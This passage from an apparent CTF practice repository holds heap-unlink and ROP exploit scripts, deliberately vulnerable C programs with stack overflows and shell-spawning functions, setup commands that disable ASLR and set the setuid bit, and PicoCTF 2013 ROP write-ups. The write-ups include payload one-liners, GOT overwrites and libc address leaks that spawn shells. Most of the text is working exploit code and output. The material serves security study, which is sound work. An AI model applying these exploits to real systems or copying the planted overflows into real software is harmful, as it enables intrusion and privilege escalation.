p.sendlineafter("(less than 1024)",str(length)) 11 | p.sendlineafter(" content:",content) 12 | print p.recvline() 13 | def edit(idx,data): 14 | print p.sendlineafter("--->>","3") 15 | print p.sendlineafter("note:",str(idx)) 16 | print p.sendlineafter("ent:",data) 17 | print p.recvuntil("success") 18 | def dlt(idx): 19 | p.sendlineafter("--->>","4") 20 | p.sendlineafter("note:",str(idx)) 21 | print p.recvuntil("success") 22 | 23 | new(232,"aaa") 24 | new(0,"bbb") 25 | new(232,"ccc") 26 | new(232,"ddd") 27 | new(232,"/bin/sh\00") 28 | dlt(1) 29 | bb=0x6020d8 30 | fd=bb-24 31 | bk=bb-16 32 | pay="P"*(0x10)+p64(0)*3+p64(0xe1)\ 33 | +p64(fd)+p64(bk)\ 34 | +"p"*(232-16-16+8-16)+p64(0xe0)+p64(0xf0)+"aaa" 35 | new(0,pay) 36 | dlt(3) 37 | free_got=0x0602018 38 | puts_plt=0x00400730 39 | pay=p64(0xdeadbeef)+p64(free_got) 40 | edit(2,pay) 41 | 42 | pay=p64(puts_plt)[:-1] 43 | edit(0,pay) 44 | atoi_got=0x602070 45 | pay=p64(0xdeadbeef)+p64(atoi_got) 46 | edit(2,pay) 47 | # raw_input("xxx") 48 | 49 | p.sendlineafter("--->>","4") 50 | p.sendlineafter("note:\n",str(0)) 51 | kk=p.recvuntil("\n")[:-1] 52 | atoi=u64(kk.ljust(8,"\00")) 53 | base=atoi-atoi_off 54 | system=system_off+base 55 | print hex(base) 56 | print hex(system) 57 | print hex(atoi) 58 | 59 | pay=p64(0xdeadbeef)+p64(free_got) 60 | edit(2,pay) 61 | 62 | 63 | pay=p64(system)[:-1] 64 | edit(0,pay) 65 | 66 | gdb.attach(p,''' 67 | x /32gx 0x006020C0 68 | b *0x400BB9 69 | ''') 70 | 71 | p.sendlineafter("--->>","4") 72 | print "get shell ...." 73 | p.sendlineafter("note:",str(4)) 74 | p.interactive() 75 | -------------------------------------------------------------------------------- /heap/unlink/unlink1/pwn_unlink.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | p = process("./unlink") 4 | context.log_level="debug" 5 | addr_shell = 0x80484EB 6 | 7 | p.recvuntil("here is stack address leak: ",drop=True) 8 | addr_stack=int(p.recvuntil("\n",drop=True),16) 9 | 10 | p.recvuntil("here is heap address leak: ",drop=True) 11 | addr_heap=int(p.recvuntil("\n",drop=True),16) 12 | 13 | payload="a"*12 14 | payload+=p32(addr_shell) 15 | payload+=p32(addr_stack-0x18-0x8) #fd 16 | payload+=p32(addr_heap+0x4) #bk 17 | 18 | gdb.attach(p, "b unlink") 19 | 20 | p.sendline(payload) 21 | 22 | p.interactive() 23 | -------------------------------------------------------------------------------- /heap/unlink/unlink1/unlink: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/unlink/unlink1/unlink -------------------------------------------------------------------------------- /heap/unlink/unlink2/heap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/unlink/unlink2/heap -------------------------------------------------------------------------------- /heap/unlink/unlink2/heap.c: -------------------------------------------------------------------------------- 1 | /* Heap exploitation develop example. */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define HEAMNUM 16 8 | char *heap_list[HEAMNUM]; 9 | 10 | void init_proc(){ 11 | setvbuf(stdin, 0, 2, 0); 12 | setvbuf(stdout, 0, 2, 0); 13 | } 14 | 15 | void get_shell(){ 16 | system("/bin/sh"); 17 | } 18 | 19 | void menu(){ 20 | puts("----------------------"); 21 | puts(" Heap Baby "); 22 | puts("----------------------"); 23 | puts(" 1. Add a heap "); 24 | puts(" 2. View a heap "); 25 | puts(" 3. Delete a page "); 26 | puts(" 4. Edit a page "); 27 | puts(" 5. Exit "); 28 | puts("----------------------"); 29 | printf("Your choice :"); 30 | } 31 | 32 | int readn(char *buf, int n){ 33 | int len = read(0, buf, n); 34 | if(buf[len - 1] == '\n') buf[len - 1] = '\x00'; 35 | return len; 36 | } 37 | 38 | int read_int(){ 39 | char buf[16]; 40 | readn(buf, 15); 41 | return atoi(buf); 42 | } 43 | 44 | void add(){ 45 | int i; 46 | unsigned int size; 47 | char buf[16]; 48 | char *ptr, *target = NULL; 49 | for(i = 0; ; i++){ 50 | if(i >= HEAMNUM) {puts("Full"); return;} 51 | if(!heap_list[i]) break; 52 | } 53 | printf("Size :"); 54 | size = read_int(); 55 | ptr = (char *)malloc(size); 56 | if(!ptr){puts("Malloc Error"); exit(0);} 57 | heap_list[i] = ptr; 58 | printf("Content :"); 59 | readn(ptr, size); 60 | printf("Create heap @ %#x\n", ptr); 61 | } 62 | 63 | void del(){ 64 | unsigned int idx; 65 | char buf[16]; 66 | printf("Index :"); 67 | idx = read_int(); 68 | if(idx >= HEAMNUM || !heap_list[idx]) {puts("Invalid index"); return;} 69 | free(heap_list[idx]); 70 | // heap_list[idx] = NULL; 71 | } 72 | 73 | void edit(){ 74 | unsigned int idx, size; 75 | char buf[16]; 76 | printf("Index :"); 77 | idx = read_int(); 78 | if(idx >= HEAMNUM || !heap_list[idx]) {puts("Invalid index"); return;} 79 | printf("Size :"); 80 | size = read_int(); 81 | printf("Content :"); 82 | readn(heap_list[idx], size); 83 | } 84 | 85 | void view(){ 86 | unsigned int idx; 87 | char buf[16]; 88 | printf("Index :"); 89 | idx = read_int(); 90 | if(idx >= HEAMNUM || !heap_list[idx]) {puts("Invalid index"); return;} 91 | printf("Content :\n%s\n", heap_list[idx]); 92 | } 93 | 94 | int main() { 95 | int choice; 96 | init_proc(); 97 | while(1){ 98 | menu(); 99 | choice = read_int(); 100 | switch(choice){ 101 | case 1: add(); break; 102 | case 2: view(); break; 103 | case 3: del(); break; 104 | case 4: edit(); break; 105 | case 5: exit(0); break; 106 | default: puts("Invalid choice"); 107 | } 108 | } 109 | return 0; 110 | } -------------------------------------------------------------------------------- /heap/unlink/unlink2/pwn_heap_unlink.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def add(sz, content): 6 | p.sendlineafter("choice :", "1") 7 | p.sendlineafter("Size :", str(sz)) 8 | p.sendafter("Content :", content) 9 | 10 | def delete(idx): 11 | p.sendlineafter("choice :", "3") 12 | p.sendlineafter("Index :", str(idx)) 13 | 14 | def edit(idx, sz, content): 15 | p.sendlineafter("choice :", "4") 16 | p.sendlineafter("Index :", str(idx)) 17 | p.sendlineafter("Size :", str(sz)) 18 | p.sendafter("Content :", content) 19 | 20 | 21 | p = process("./heap") 22 | # gdb.attach(p, execute = "c") 23 | 24 | # prepare heap 25 | add(0x1c, "aaaa") 26 | add(0x4c, "aaaa") 27 | add(0x4c, "aaaa") 28 | add(0x1c, "aaaa") 29 | raw_input() 30 | 31 | # overflow third chunk to create fake 'free chunk' before it 32 | # forward chunk 33 | heap_list = 0x0804A064 34 | payload = p32(0) # 2nd prev size, not important 35 | payload += p32(0x21) # 2nd size, not important 36 | payload += p32(heap_list - 12) # 2nd fake fd 37 | payload += p32(heap_list - 8) # 2nd fake bk 38 | payload = payload.ljust(0x48, "a") 39 | payload += p32(0x48) # 3rd prev size 40 | payload += p32(0x50) # 3rd inuse flag to 0 41 | edit(1, len(payload), payload) 42 | raw_input() 43 | # trigger unlink 44 | delete(2) 45 | 46 | # overwirte got entry 47 | got_atoi = 0x0804A034 48 | get_shell = 0x0804865C 49 | edit(1, 12, "a"*8 + p32(got_atoi)) 50 | edit(0, 4, p32(get_shell)) 51 | 52 | 53 | # get shell 54 | p.sendlineafter("choice :", "1") 55 | 56 | p.interactive() -------------------------------------------------------------------------------- /stack/ROP/ret2plt/exp.py: -------------------------------------------------------------------------------- 1 | #exp.py 2 | #!/usr/bin/env python 3 | import struct 4 | from subprocess import call 5 | system = 0x8048380 6 | exit = 0x80483a0 7 | system_arg = 0x80485b5 #Obtained from hexdump output of executable 'vuln' 8 | #endianess convertion 9 | def conv(num): 10 | return struct.pack(" /proc/sys/kernel/randomize_va_space 2 | $gcc -g -fno-stack-protector -o vuln vuln.c 3 | $sudo chown root vuln 4 | $sudo chgrp root vuln 5 | $sudo chmod +s vuln 6 | -------------------------------------------------------------------------------- /stack/ROP/ret2plt/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | /* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */ 4 | void shell() { 5 | system("/bin/sh"); 6 | exit(0); 7 | } 8 | int main(int argc, char* argv[]) { 9 | int i=0; 10 | char buf[256]; 11 | strcpy(buf,argv[1]); 12 | printf("%s\n",buf); 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/.gdb_history: -------------------------------------------------------------------------------- 1 | checksec 2 | b main 3 | r 4 | b *0x08048518 5 | c 6 | si 7 | ni 5 8 | ni 9 | ni 10 | pattern_create 100 11 | pattern_create 200 12 | ni 13 | ni 14 | ni 15 | pattern_offset 0x41416d41 16 | -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/README.md: -------------------------------------------------------------------------------- 1 | # PicoCTF 2013: ROP 1 2 | 3 | **Category:** Binary Exploitation 4 | **Points:** 95 5 | **Description:** 6 | 7 | > ROP is a classic technique for getting around address randomization and 8 | > non-executable memory. This sequence will teach you the basics. 9 | > 10 | > Problem available on the shell machine in /problems/ROP_1_fa6168f4d8eba0eb , 11 | > downloadable [here](https://2013.picoctf.com/problems/rop1-fa6168f4d8eba0eb) with source [here](https://2013.picoctf.com/problems/rop1-fa6168f4d8eba0eb.c). 12 | > 13 | > 14 | 15 | ## Write-up 16 | Looking at the C code, there are two interesting functions: 17 | ```C 18 | int not_called() { 19 | return system("/bin/bash"); 20 | } 21 | 22 | void vulnerable_function() { 23 | char buf[128]; 24 | read(STDIN_FILENO, buf, 256); 25 | } 26 | ``` 27 | As you may have guessed, the vulnerability is in the `vulnerable_function()`. 28 | The function calls `read()` with a size of 256, whereas the buffer only has 128 29 | spaces to fill. This is what is referred to as a buffer overflow, and we're 30 | going to use it to get a shell. 31 | 32 | The main difference between the overfllow problems and ROP is that ROP type 33 | problems have NX/ASLR enabled, and sometimes other protections. This means that 34 | libc and stack addresses are random, and that no memory is simultaneously 35 | writeable and executable. RIP shellcode. 36 | 37 | Luckily, `not_called()` does most of the heavy lifting for us. Since 38 | ASLR **does not** randomize the addresses in the executable, we can reliably 39 | supply the address of `not_called()` and get a shell! 40 | 41 | Some quick scratchwork shows that $eip is under our control after 140 bytes 42 | have been supplied: 43 | 44 | ``` 45 | python -c 'print "A"\*140 + "BBBB"' | strace ./rop1-fa6168f4d8eba0eb 46 | ... 47 | --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- 48 | ``` 49 | 50 | Now, instead of "BBBB" we're going to try something more useful. We need the 51 | address of `not_called()`. We can run: 52 | ```objdump -d rop1-fa6168f4d8eba0eb | grep "not_called"``` 53 | which yields `080484a4 :` 54 | The address is `0x080484a4`! However, we have to convert that address into an 55 | escape sequence and to litte endian. Thus: 56 | ``` 57 | python -c 'print "A"\*140 + "\xa4\x84\x04\x08"'| ./rop1-fa6168f4d8eba0eba 58 | ``` 59 | should work. 60 | 61 | However, as indicated in the SMALL_HINT file given to us, it will exit right 62 | away. Finally: 63 | ``` 64 | (python -c 'print "A"\*140 + "\xa4\x84\x04\x08"';cat )| ./rop1-fa6168f4d8eba0eb 65 | ``` 66 | will get you a shell! 67 | 68 | **Note:** This was solved locally on my machine. When using the PicoCTF shell, 69 | the name of the binary is simply "rop1". The final command would change to: 70 | ``` 71 | python -c 'print "A"\*140 + "\xa4\x84\x04\x08"';cat )| ./rop1 72 | ``` 73 | 74 | pwn. 75 | 76 | ## Other write-ups and resources 77 | 78 | * none yet 79 | -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/SMALL_HINT: -------------------------------------------------------------------------------- 1 | Hint: It is really important not to close standard in: a common trick is to do 2 | 3 | echo -ne "my_exploit_string" > ~/some_random_file 4 | cat ~/some_random_file /dev/stdin | ./rop1 5 | 6 | Alternatively, 7 | 8 | cat <(python -c 'print "my_exploit_string"') - | ./rop1 9 | 10 | Otherwise, you will launch a shell, but standard in will be closed, so it'll 11 | just exit immediately, which is not much use at all! 12 | 13 | Good luck! 14 | -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/peda-session-rop1.txt: -------------------------------------------------------------------------------- 1 | break main 2 | break *0x08048518 3 | 4 | -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/ret2plt/exp.py: -------------------------------------------------------------------------------- 1 | #exp.py 2 | #!/usr/bin/env python 3 | import struct 4 | from subprocess import call 5 | system = 0x8048380 6 | exit = 0x80483a0 7 | system_arg = 0x80485b5 #Obtained from hexdump output of executable 'vuln' 8 | #endianess convertion 9 | def conv(num): 10 | return struct.pack(" /proc/sys/kernel/randomize_va_space 2 | $gcc -g -fno-stack-protector -o vuln vuln.c 3 | $sudo chown root vuln 4 | $sudo chgrp root vuln 5 | $sudo chmod +s vuln 6 | -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/ret2plt/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | /* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */ 4 | void shell() { 5 | system("/bin/sh"); 6 | exit(0); 7 | } 8 | int main(int argc, char* argv[]) { 9 | int i=0; 10 | char buf[256]; 11 | strcpy(buf,argv[1]); 12 | printf("%s\n",buf); 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/rop1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-1-overwirte retaddr_solved/rop1 -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/rop1.c: -------------------------------------------------------------------------------- 1 | #undef _FORTIFY_SOURCE 2 | #include 3 | #include 4 | #include 5 | 6 | int not_called() { 7 | return system("/bin/bash"); 8 | } 9 | 10 | void vulnerable_function() { 11 | char buf[128]; 12 | read(STDIN_FILENO, buf, 256); 13 | } 14 | 15 | void be_nice_to_people() { 16 | // /bin/sh is usually symlinked to bash, which usually drops privs. Make 17 | // sure we don't drop privs if we exec bash, (ie if we call system()). 18 | gid_t gid = getegid(); 19 | setresgid(gid, gid, gid); 20 | } 21 | 22 | int main(int argc, char** argv) { 23 | be_nice_to_people(); 24 | vulnerable_function(); 25 | write(STDOUT_FILENO, "Hello, World\n", 13); 26 | } 27 | -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/rop1.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-1-overwirte retaddr_solved/rop1.idb -------------------------------------------------------------------------------- /stack/ROP/rop-1-overwirte retaddr_solved/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | ov="A"*140+p32(0x80484A4) 3 | p=process("./rop1") 4 | p.sendline(ov) 5 | p.interactive() 6 | -------------------------------------------------------------------------------- /stack/ROP/rop-2_solved/.gdb_history: -------------------------------------------------------------------------------- 1 | c 2 | c 3 | c 4 | pattern_create 300 5 | r 6 | A%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% 7 | pattern_offset 0x41416d41 8 | -------------------------------------------------------------------------------- /stack/ROP/rop-2_solved/README.md: -------------------------------------------------------------------------------- 1 | # PicoCTF 2013: ROP 2 2 | 3 | **Category:** Binary Exploitation 4 | **Points:** 120 5 | **Description:** 6 | 7 | > ROP is a classic technique for getting around address randomization and 8 | > non-executable memory. This sequence will teach you the basics. 9 | > 10 | > Problem available on the shell machine in /problems/ROP_2_20f65dd0bcbe267d , 11 | > downloadable [here](https://2013.picoctf.com/problems/rop2-20f65dd0bcbe267d) with source [here](https://2013.picoctf.com/problems/rop2-20f65dd0bcbe267d.c). 12 | > 13 | > 14 | 15 | ## Write-up 16 | This is a ROP challenge. ASLR is enabled, meaning that libc and stack 17 | addresses are random. Also, NX is enabled, meaning that there is no 18 | simultaneously writable and executable space in memory. RIP Shellcode. 19 | Luckily for us, the programmer has left a trail of breadcrumbs for us. 20 | 21 | ```C 22 | char * not_used = "/bin/bash"; 23 | 24 | int not_called() { 25 | return system("/bin/date"); 26 | } 27 | 28 | void vulnerable_function() { 29 | char buf[128]; 30 | read(STDIN_FILENO, buf, 256); 31 | } 32 | ``` 33 | 34 | Unlike in [ROP 1](../rop-1), the call to `not_called()` doesn't automatically give 35 | us a shell. However, with a bit of hacking chicanery, this won't be an issue. 36 | 37 | In order for you to understand this exploit, I'm going to teach you a bit about the 38 | GOT and PLT. In any ASLR enabled binary (and most normal binaries for that 39 | matter) there has to be a way for the binary to 'know' where the libc functions 40 | are at. The binary creates a PLT stub for functions used in the source. These 41 | are **always at a constant address**. This PLT stub is essentially a wrapper 42 | function for the actual function in libc. The GOT contains the actual adresses 43 | in libc for the functions used in the program. The actual adresses change from 44 | runtime to runtime, but pointers to the same function are **always in the same 45 | spot in the GOT**. 46 | 47 | So what does this mean for us? 48 | 49 | It means that the function `not_called()` can be avoided altogether. Since 50 | there is a call to `system()` in the binary, we can just call that instead and 51 | feed it our own argument. Mwahahahaa. 52 | 53 | We'll start with finding the offset for `$eip`. 54 | 55 | ``` 56 | python -c 'print "A"*140 + "BBBB" ' | strace ./rop2-20f65dd0bcbe267d 57 | ... 58 | --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- 59 | ``` 60 | 61 | After 140 junk bytes, we have control of `$eip`. As I mentioned before, we need 62 | to supply the PLT stub for `system()` so we can call it with our own argument. 63 | 64 | ``` 65 | objdump -d rop2-20f65dd0bcbe267d | grep system 66 | ... 67 | 080483a0 : 68 | ``` 69 | 70 | We get an adress of 0x080483a0. We can put this into `$eip` followed by a bogus 71 | four byte return address (we don't need to call another function in this 72 | problem) and the pointer to what we want to call system on. Conveniently 73 | enough, `char * not_used = "/bin/bash";` is exactly what we need. You might be 74 | wondering how we're going to get access to `not_used` since it's on a 75 | randomized stack. The good news is that "/bin/bash" is in the binary as a raw 76 | string. **We can reliably supply "/bin/bash" to ```system()```.** 77 | 78 | If we pop open gdb we can find the address of "/bin/bash" in the binary. 79 | ``` 80 | $gdb rop2-20f65dd0bcbe267d 81 | gdb-peda$ b*main 82 | gdb-peda$ r 83 | gdb-peda$ find /bin/bash 84 | Searching for '/bin/bash' in: None ranges 85 | Found 3 results, display max 3 items: 86 | rop2-20f65dd0bcbe267d : 0x8048610 ("/bin/bash") 87 | rop2-20f65dd0bcbe267d : 0x8049610 ("/bin/bash") 88 | [stack] : 0xffffd8a9 ("/bin/bash") 89 | ``` 90 | The first two instances are actually in the binary. The one found in the 91 | `[stack]` can't be reliably used because of ASLR. Now we have all of the 92 | components for our exploit to work. It will take the form of: 93 | 94 | [padding] + [address of system] + [fake return address] + [addres /bin/bash] 95 | ``` 96 | (python -c 'print "A"*140 + "\xa0\x83\x04\x08" + "JUNK" + "\x10\x86\x04\x08" 97 | ';cat )| ./rop2-20f65dd0bcbe267d 98 | ``` 99 | 100 | As usual, the exploit has to be in parenthesis with `cat` afterwards so we can 101 | actually use the shell we spawn. 102 | 103 | pwn. 104 | ## Other write-ups and resources 105 | 106 | * none yet 107 | -------------------------------------------------------------------------------- /stack/ROP/rop-2_solved/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-2_solved/core -------------------------------------------------------------------------------- /stack/ROP/rop-2_solved/peda-session-rop2.txt: -------------------------------------------------------------------------------- 1 | break *0x080484DA 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /stack/ROP/rop-2_solved/rop2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-2_solved/rop2 -------------------------------------------------------------------------------- /stack/ROP/rop-2_solved/rop2-20f65dd0bcbe267d.c: -------------------------------------------------------------------------------- 1 | #undef _FORTIFY_SOURCE 2 | #include 3 | #include 4 | #include 5 | 6 | char * not_used = "/bin/bash"; 7 | 8 | int not_called() { 9 | return system("/bin/date"); 10 | } 11 | 12 | void vulnerable_function() { 13 | char buf[128]; 14 | read(STDIN_FILENO, buf, 256); 15 | } 16 | 17 | void be_nice_to_people() { 18 | // /bin/sh is usually symlinked to bash, which usually drops privs. Make 19 | // sure we don't drop privs if we exec bash, (ie if we call system()). 20 | gid_t gid = getegid(); 21 | setresgid(gid, gid, gid); 22 | } 23 | 24 | int main(int argc, char** argv) { 25 | be_nice_to_people(); 26 | vulnerable_function(); 27 | write(STDOUT_FILENO, "Hello, World\n", 13); 28 | } 29 | 30 | -------------------------------------------------------------------------------- /stack/ROP/rop-2_solved/rop2.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/stack/ROP/rop-2_solved/rop2.idb -------------------------------------------------------------------------------- /stack/ROP/rop-2_solved/solve.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | from pwn import * 3 | 4 | system_plt=0x080483A0 #这里不能用got,system前面没用过 5 | binsh=0x08048610 6 | ret=0 7 | ov="A"*140 8 | pay=ov+p32(system_plt)+p32(ret)+p32(binsh) 9 | #p=process("./rop2") 10 | p=remote("0.0.0.0",9999) 11 | # gdb.attach(p,''' 12 | # B *0x080484DA 13 | # ''') 14 | p.sendline(pay) 15 | p.interactive() 16 | -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/.gdb_history: -------------------------------------------------------------------------------- 1 | pattern_create 300 2 | r 3 | A%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% 4 | pattern_offset 0x41416d41 5 | info proc map 6 | info proc map 7 | c 8 | c 9 | print read 10 | c 11 | c 12 | x /wx 0x0804A01F 13 | x /32wx 0x0804A01F 14 | info proc map 15 | info proc map 16 | c 17 | ni 18 | ni 19 | ni 20 | ni 21 | ni 22 | ni 23 | ni 24 | ni 25 | c 26 | c 27 | c 28 | x /32wx 0x0804A01F 29 | c 30 | ni 31 | ni 32 | c 33 | c 34 | ni 35 | c 36 | c 37 | c 38 | c 39 | c 40 | x /wx 0x0804A01F 41 | c 42 | c 43 | c 44 | c 45 | x /wx 0xf7662340 46 | x /32wx 0xf7662340 47 | b main 48 | r 49 | search memory 50 | search memory /bin/sh 51 | b main 52 | find sh 53 | -------------------------------------------------------------------------------- /stack/ROP/rop-3-infoleak&rop_solved/README.md: -------------------------------------------------------------------------------- 1 | # PicoCTF 2013: ROP 3 2 | 3 | **Category:** Binary Exploitation 4 | **Points:** 150 5 | **Description:** 6 | 7 | > ROP is a classic technique for getting around address randomization and 8 | > non-executable memory. This sequence will teach you the basics. 9 | > 10 | > Problem available on the shell machine in /problems/ROP_3_7f3312fe43c46d26, 11 | > downloadable [here](https://2013.picoctf.com/problems/rop3-7f3312fe43c46d26) with source [here](://2013.picoctf.com/problems/rop3-7f3312fe43c46d26.c). 12 | > 13 | > 14 | 15 | ## Write-up 16 | **DISCLAIMER: Many of the other writeups for this online used ulimit to disable 17 | ASLR during their session. This makes the problem exceptionally easy. My 18 | writeup will show how to solve it the hard way, since you're likely using this 19 | for practice. It is also only a local solution since I don't think you can 20 | install pwntools on the PicoCTF server.** 21 | 22 | Just like ROP 1 and ROP 2, RIP Shellcode. 23 | 24 | This one's going to be a bit harder. If you haven't read my bit on the GOT and 25 | PLT from [ROP 2](../rop-2) then you should do that :) 26 | 27 | looking at the code, we can see there isn't anything extra for us to work with. 28 | ```C 29 | #undef _FORTIFY_SOURCE 30 | #include 31 | #include 32 | #include 33 | 34 | void vulnerable_function() { 35 | char buf[128]; 36 | read(STDIN_FILENO, buf,256); 37 | } 38 | 39 | void be_nice_to_people() { 40 | // /bin/sh is usually symlinked to bash, which usually drops privs. Make 41 | // sure we don't drop privs if we exec bash, (ie if we call system()). 42 | gid_t gid = getegid(); 43 | setresgid(gid, gid, gid); 44 | } 45 | 46 | int main(int argc, char** argv) { 47 | be_nice_to_people(); 48 | vulnerable_function(); 49 | write(STDOUT_FILENO, "Hello, World\n", 13); 50 | } 51 | ``` 52 | 53 | This challenge actually requires us to **bypass ASLR** as opposed to calling 54 | premade functions. `system()` isn't called in this program, so there isn't a PLT 55 | stub for it :(. Luckily, bypassing ASLR is only mildly painful. 56 | 57 | We'll start by finding the offset for `$eip`. 58 | ``` 59 | python -c 'print "A"*140 + "BBBB"' | strace ./rop3-7f3312fe43c46d26 60 | ... 61 | --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- 62 | ``` 63 | 140 bytes, just like the other ROP problems so far. Now comes the fun part. You 64 | know that the GOT contains the pointers into libc for the binary to use. What 65 | you may not have known is that the GOT is writable. You can change values in 66 | the GOT that correspond to PLT stubs. If you were able to change a pointer by a 67 | certain am.ount and then call the corresponding PLT stub, you could trick the 68 | program into calling `system()`. We can run objdump to find what PLT/GOT 69 | functions we have to work with. 70 | 71 | ``` 72 | $ objdump -d rop3-7f3312fe43c46d26 | grep ">:" 73 | 08048360 : 74 | ... 75 | ... 76 | 080483a0 : 77 | ``` 78 | 79 | Unfortunately those are about the only two useful functions we have, but 80 | they'll be enough. In addition, we'll need the address of functions in the GOT 81 | for us to leak. 82 | 83 | ``` 84 | $ objdump -R rop3-7f3312fe43c46d26 85 | 86 | DYNAMIC RELOCATION RECORDS 87 | OFFSET TYPE VALUE 88 | 08049ff0 R_386_GLOB_DAT __gmon_start__ 89 | 0804a000 R_386_JUMP_SLOT read 90 | 0804a004 R_386_JUMP_SLOT getegid 91 | 0804a008 R_386_JUMP_SLOT __gmon_start__ 92 | 0804a00c R_386_JUMP_SLOT __libc_start_main 93 | 0804a010 R_386_JUMP_SLOT write 94 | 0804a014 R_386_JUMP_SLOT setresgid 95 | ``` 96 | Our first vector of attack will be to call `write()` and print out an address 97 | from the GOT like so: 98 | 99 | `write(1,address_read_GOT,4)` 100 | 101 | ``` 102 | python -c 'print "A"*140 + "\xa0\x83\x04\x08" + "AAAA" + "\x01\x00\x00\x00" + 103 | "\x00\xa0\x04\x08" + "\x04\x00\x00\x00"' | ./rop3-7f3312fe43c46d26 104 | ``` 105 | 106 | The "AAAA" in the exploit is the return address, we'll get to that later. If 107 | you run this, you'll get a little bit of gibberish to print out and then a 108 | segfault. That gibberish is the libc address of `read()` for that runtime. 109 | Time for good ol' gdb: 110 | 111 | ``` 112 | $ gdb rop3-7f3312fe43c46d26 113 | gdb-peda$ b*main 114 | gdb-peda$ r 115 | 116 | ``` 117 | Your results may vary from here on. 118 | ``` 119 | db-peda$ p read 120 | $1 = {} 0xf7efdbd0 121 | gdb-peda$ p system 122 | $2 = {} 0xf7e63190 123 | gdb-peda$ p 0xf7efdbd0-0xf7e63190 124 | $3 = 0x9aa40 125 | ``` 126 | Address of `system()` is **lower** than `read()` by 0x9aa40 127 | ``` 128 | gdb-peda$ find /bin/sh 129 | Searching for '/bin/sh' in: None ranges 130 | Found 1 results, display max 1 items: 131 | libc : 0xf7f83a24 ("/bin/sh") 132 | gdb-peda$ p 0xf7f83a24-0xf7efdbd0 133 | $5 = 0x85e54 134 | ``` 135 | Address of /bin/sh is **greater** than `read()` by 0x85e54. 136 | Now we need to change the "AAAA" in our exploit to the address of 137 | `vulnerable_function()`. This will retrigger the vulnerability, enabling us to 138 | calculate the address of 'system()' and "/bin/sh" and make the appropriate 139 | function call. 140 | ``` 141 | python -c 'print "A"*140 + "\xa0\x83\x04\x08" + "\x74\x84\x04\x08" + "\x01\x00\x00\x00" + 142 | "\x00\xa0\x04\x08" + "\x04\x00\x00\x00"' | ./rop3-7f3312fe43c46d26 143 | ``` 144 | 145 | At this point, we'll need to use pwntools. You can install it with: 146 | ``` 147 | sudo pip install pwntools 148 | ``` 149 | 150 | Here's why. Once we have that leaked address we can do some napkin math to 151 | calculate the address of `system()`. **ASLR only randomises the base address of 152 | libc. This means that `system()` is always the same distance from `read()` or 153 | `write()` at any given runtime**. pwntools can do that math for us. We can 154 | start our python script as such: 155 | ```python 156 | 157 | from pwn import * 158 | context(arch='i386', os='linux') 159 | #conventions for pwntools ^ 160 | 161 | first_part = ("A"*140 + "\xa0\x83\x04\x08" + "\x74\x84\x04\x08" 162 | + "\x01\x00\x00\x00" + "\x00\xa0\x04\x08" + "\x04\x00\x00\x00" ) 163 | # our exploit so far ^ 164 | r = process("./rop3-7f3312fe43c46d26", shell=True) #executes the binary 165 | r.sendline(first_part ) #feeds the exploit to the binary 166 | a=unpack(r.recv(4)) #gets the four bytes we leaked from the GOT 167 | print hex(a) 168 | ``` 169 | if you run this a few times the address should vary from run to run. 170 | This is a good thing, it means that you're getting the random libc address. 171 | From here, you can calculate the addresses we found before in gdb by adding 172 | these lines. 173 | ```python 174 | system_address=a-0x9aa40 175 | binsh_address = a+0x85e54 176 | 177 | r.sendline("A"*140+pack(system_address)+"JUNK"+pack(binsh_address)) 178 | 179 | """ The above line sends 140 bytes of padding, the little endian form of 180 | system_address, a bogus return address, and the little endian form of the 181 | address of /bin/sh. The pack() function just turns the integer into an escape 182 | sequence for us 183 | """ 184 | r.interactive() # This just enables you to type things in to your shell :) 185 